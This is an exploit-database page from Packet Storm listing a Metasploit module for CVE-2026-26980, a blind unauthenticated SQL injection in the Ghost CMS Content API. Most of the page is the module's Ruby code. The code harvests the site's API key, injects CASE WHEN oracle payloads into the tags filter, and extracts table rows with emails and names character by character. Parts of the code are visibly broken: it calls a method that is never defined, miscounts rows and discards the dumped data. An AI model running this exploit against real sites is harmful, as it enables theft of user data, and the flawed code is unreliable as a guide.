PACKETSTORM 9.4 CRITICAL

📄 Ghost CMS 6.19.0 SQL Injection_PACKETSTORM:219677

9.4 / 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

Description

This is a Metasploit auxiliary module targeting a blind, unauthenticated SQL injection vulnerability in the Ghost CMS Content API that affects versions 3.24.0 through 6.19.0...
Visit Original Source

Basic Information

ID PACKETSTORM:219677
Published Apr 23, 2026 at 00:00

Affected Product

Affected Versions ==================================================================================================================================
| # Title : Ghost CMS 6.19.0 Unauthenticated Content API Blind SQL Injection |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://ghost.org/ |
==================================================================================================================================

[+] Summary : This is a Metasploit auxiliary module targeting a blind, unauthenticated SQL injection vulnerability in the Ghost CMS Content API (versions 3.24.0 to 6.19.0).


[+] POC :

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Ghost CMS Unauthenticated SQL Injection via Content API',
'Description' => %q{
Ghost CMS versions 3.24.0 through 6.19.0 contain an unauthenticated SQL injection
vulnerability in the Content API.
},
'Author' => [
'indoushka'
],
'References' => [
['CVE', '2026-26980']
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2026-03-30'
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path for Ghost installation', '/']),
OptString.new('API_KEY', [false, 'Ghost Content API Key', '']),
OptString.new('API_PATH', [false, 'Content API path', '']),
OptEnum.new('DBMS', [true, 'Database engine', 'sqlite', ['sqlite', 'mysql']]),
OptString.new('TABLE', [false, 'Specific table', '']),
OptString.new('COLUMNS', [false, 'Columns', '']),
OptInt.new('THREADS', [true, 'Threads', 15]),
OptInt.new('TIMEOUT', [true, 'Timeout', 10])
])
end

def setup
@base_uri = normalize_uri(target_uri.path)
@api_key = datastore['API_KEY']
@api_path = datastore['API_PATH']
@dbms = datastore['DBMS']
@threads = datastore['THREADS']
@timeout = datastore['TIMEOUT']
@table_to_dump = datastore['TABLE']
@columns = datastore['COLUMNS']&.split(',')&.map(&:strip)

@charset = "$./0123456789:ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz@!#%^&*()+-=".chars
@error_indicator = "InternalServerError"
@api_endpoint = nil
@tag_slug = nil
@tag_id = nil
@url_template = nil
end

def run_host(ip)
print_status("Ghost SQLi CVE-2026-26980")
print_status("Target: #{peer}")

unless discover_api_endpoint
print_error("Discovery failed")
return
end

unless verify_oracle
print_error("Oracle failed")
return
end

if @table_to_dump && !@table_to_dump.empty?
dump_table(@table_to_dump)
else
perform_reconnaissance
end
end

def discover_api_endpoint
res = send_request_cgi({
'uri' => normalize_uri(@base_uri),
'method' => 'GET'
})

return false unless res && res.code == 200

if res.body =~ /data-key="([a-f0-9]+)"/
@api_key = Regexp.last_match(1)
else
return false
end

if res.body =~ /data-api="([^"]+)"/
api_raw = Regexp.last_match(1)
path = URI.parse(api_raw).path
@api_endpoint = normalize_uri(@base_uri, path)
@api_endpoint = "#{@api_endpoint}/"
else
return false
end

discover_tag_from_api
end

def discover_tag_from_api
res = send_request_cgi({
'uri' => normalize_uri(@api_endpoint, 'tags/'),
'method' => 'GET',
'vars_get' => { 'key' => @api_key }
})

return false unless res && res.code == 200

json = JSON.parse(res.body)
return false unless json['tags'] && json['tags'][0]

@tag_slug = json['tags'][0]['slug']
@tag_id = json['tags'][0]['id']

slug = Rex::Text.uri_encode(@tag_slug.to_s)
@url_template = "#{@api_endpoint}tags/?key=#{@api_key}&filter=slug:['*',#{slug}]&limit=all"

true
rescue
false
end

def verify_oracle
check_condition("1=1") && !check_condition("1=2")
end

def check_condition(condition)
if @dbms == "mysql"
error_payload = "(SELECT exp(710))"
else
error_payload = "(SELECT abs(-9223372036854775808))"
end

payload = " OR CASE WHEN (#{condition}) THEN #{error_payload} ELSE 0 END AND slug="
url = @url_template.gsub("*", payload, 1)

res = send_request_cgi({
'uri' => url,
'method' => 'GET',
'timeout' => @timeout
})

return false unless res && res.body

res.body =~ /badrequesterror/i || res.body =~ /#{@error_indicator}/i
rescue
false
end

def get_query_length(query)
length = 0
[64, 32, 16, 8, 4, 2, 1].each do |bit|
if check_condition("LENGTH((#{query}))>=#{length + bit}")
length += bit
end
end
length
end

def get_query_char(query, position)
low = 0
high = @charset.length - 1

while low < high
mid = (low + high) / 2
char_code = @charset[mid].ord

condition = "ASCII(SUBSTR((#{query}),#{position},1))>=#{char_code}"

if check_condition(condition)
low = mid + 1
else
high = mid
end
end

@charset[low]
end

def extract_data(query, label, force_length = nil)
length = force_length || get_query_length(query)
return "" if length.nil? || length.to_i <= 0

result = []
(1..length).each do |pos|
result << get_query_char(query, pos)
end

result.join
end

def dump_table(table_name)
print_status("Dumping: #{table_name}")

count = get_query_length("SELECT COUNT(*) FROM #{table_name}")
return if count <= 0

(0...count).each do |i|
row = {}
['id', 'email', 'name'].each do |col|
row[col] = extract_data("SELECT #{col} FROM #{table_name} LIMIT 1 OFFSET #{i}", col)
end
end
end
end

Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.